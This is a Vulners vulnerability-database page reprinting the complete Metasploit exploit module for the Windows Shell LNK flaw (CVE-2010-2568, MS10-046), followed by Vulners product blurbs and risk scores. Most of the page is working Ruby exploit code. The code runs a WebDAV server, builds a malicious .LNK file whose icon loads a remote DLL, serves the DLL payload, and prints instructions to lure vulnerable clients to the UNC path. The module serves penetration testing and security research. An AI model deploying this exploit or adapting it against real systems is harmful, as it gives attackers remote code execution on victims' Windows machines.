Lucene search
K

Microsoft Windows Shell LNK Code Execution

🗓️ 05 Aug 2010 00:00:00Reported by H D MooreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 53 Views

Exploits Windows LNK vulnerability via WebDAV UNC pat

Related
Code
`##  
# $Id: ms10_046_shortcut_icon_dllloader.rb 9955 2010-08-04 02:21:20Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
#  
# This module acts as an HTTP server  
#  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Windows Shell LNK Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in the handling of Windows  
Shortcut files (.LNK) that contain an icon resource pointing to a  
malicious DLL. This module creates a WebDAV service that can be used  
to run an arbitrary payload when accessed as a UNC path.  
},  
'Author' =>  
[  
'hdm', # Module itself  
'jduck', # WebDAV implementation, UNCHOST var  
'B_H' # Clean LNK template  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9955 $',  
'References' =>  
[  
['CVE', '2010-2568'],  
['OSVDB', '66387'],  
['MSB', 'MS10-046'],  
['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 2048,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'DisclosureDate' => 'Jul 16 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),  
OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),  
OptString.new( 'UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])  
], self.class)  
  
deregister_options('SSL', 'SSLVersion') # Just for now  
end  
  
def on_request_uri(cli, request)  
  
case request.method  
when 'OPTIONS'  
process_options(cli, request)  
when 'PROPFIND'  
process_propfind(cli, request)  
when 'GET'  
process_get(cli, request)  
else  
print_error("Unexpected request method encountered: #{request.method}")  
resp = create_response(404, "Not Found")  
resp.body = ""  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
  
end  
  
def process_get(cli, request)  
  
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
webdav = "\\\\#{myhost}\\"  
  
if (request.uri =~ /\.dll$/i)  
print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..."  
return if ((p = regenerate_payload(cli)) == nil)  
# Can't use generate_exe from Msf::Exploit::EXE since it can't currently generate dlls :-/  
data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
if (request.uri =~ /\.lnk$/i)  
print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..."  
  
data = generate_link("#{@exploit_unc}#{@exploit_dll}")  
  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..."  
resp = create_response(200, "OK")  
  
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}"></head><body></body></html>|  
  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
  
#  
# OPTIONS requests sent by the WebDav Mini-Redirector  
#  
def process_options(cli, request)  
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")  
headers = {  
'MS-Author-Via' => 'DAV',  
# 'DASL' => '<DAV:sql>',  
# 'DAV' => '1, 2',  
'Allow' => 'OPTIONS, GET, PROPFIND',  
'Public' => 'OPTIONS, GET, PROPFIND'  
}  
resp = create_response(207, "Multi-Status")  
resp.body = ""  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
end  
  
#  
# PROPFIND requests sent by the WebDav Mini-Redirector  
#  
def process_propfind(cli, request)  
path = request.uri  
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")  
body = ''  
  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
my_uri = "http://#{my_host}/"  
  
if path =~ /\.dll$/i  
# Response for the DLL  
print_status("Sending DLL multistatus for #{path} ...")  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{@exploit_dll}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
return  
end  
  
if path =~ /\.lnk$/i  
# Response for the DLL  
print_status("Sending DLL multistatus for #{path} ...")  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{@exploit_lnk}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>shortcut</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
return  
end  
  
if path !~ /\/$/  
  
if path.index(".")  
print_status("Sending 404 for #{path} ...")  
resp = create_response(404, "Not Found")  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
else  
print_status("Sending 301 for #{path} ...")  
resp = create_response(301, "Moved")  
resp["Location"] = path + "/"  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
end  
end  
  
print_status("Sending directory multistatus for #{path} ...")  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
  
  
subdirectory = %Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
  
files = %Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{@exploit_dll}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{@exploit_lnk}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>shortcut</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
if request["Depth"].to_i > 0  
if path.scan("/").length < 2  
body << subdirectory  
else  
body << files  
end  
end  
  
body << "</D:multistatus>"  
  
body.gsub!(/\t/, '')  
  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
end  
  
def generate_link(unc)  
uni_unc = unc.unpack("C*").pack("v*")  
path = ''  
path << [  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00  
].pack("C*")  
path << uni_unc  
  
# LinkHeader  
ret = [  
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00  
].pack('C*')  
  
idlist_data = ''  
idlist_data << [0x12 + 2].pack('v')  
idlist_data << [  
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,  
0x30, 0x9d  
].pack('C*')  
idlist_data << [0x12 + 2].pack('v')  
idlist_data << [  
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,  
0x30, 0x9d  
].pack('C*')  
idlist_data << [path.length + 2].pack('v')  
idlist_data << path  
idlist_data << [0x00].pack('v') # TERMINAL WOO  
  
# LinkTargetIDList  
ret << [idlist_data.length].pack('v') # IDListSize  
ret << idlist_data  
  
# ExtraData blocks (none)  
ret << [rand(4)].pack('V')  
  
# Patch in the LinkFlags  
ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N')  
ret  
end  
  
def exploit  
  
unc = "\\\\"  
if (datastore['UNCHOST'])  
unc << datastore['UNCHOST'].dup  
else  
unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])  
end  
unc << "\\"  
unc << rand_text_alpha(rand(8)+4)  
unc << "\\"  
  
@exploit_unc = unc  
@exploit_lnk = rand_text_alpha(rand(8)+4) + ".lnk"  
@exploit_dll = rand_text_alpha(rand(8)+4) + ".dll"  
  
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'  
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'  
end  
  
print_status("")  
print_status("Send vulnerable clients to #{@exploit_unc}.")  
print_status("Or, get clients to save and render the icon of http://<your host>/<anything>.lnk")  
print_status("")  
  
super  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Aug 2010 00:00Current
7.6High risk
Vulners AI Score7.6
EPSS0.92134
53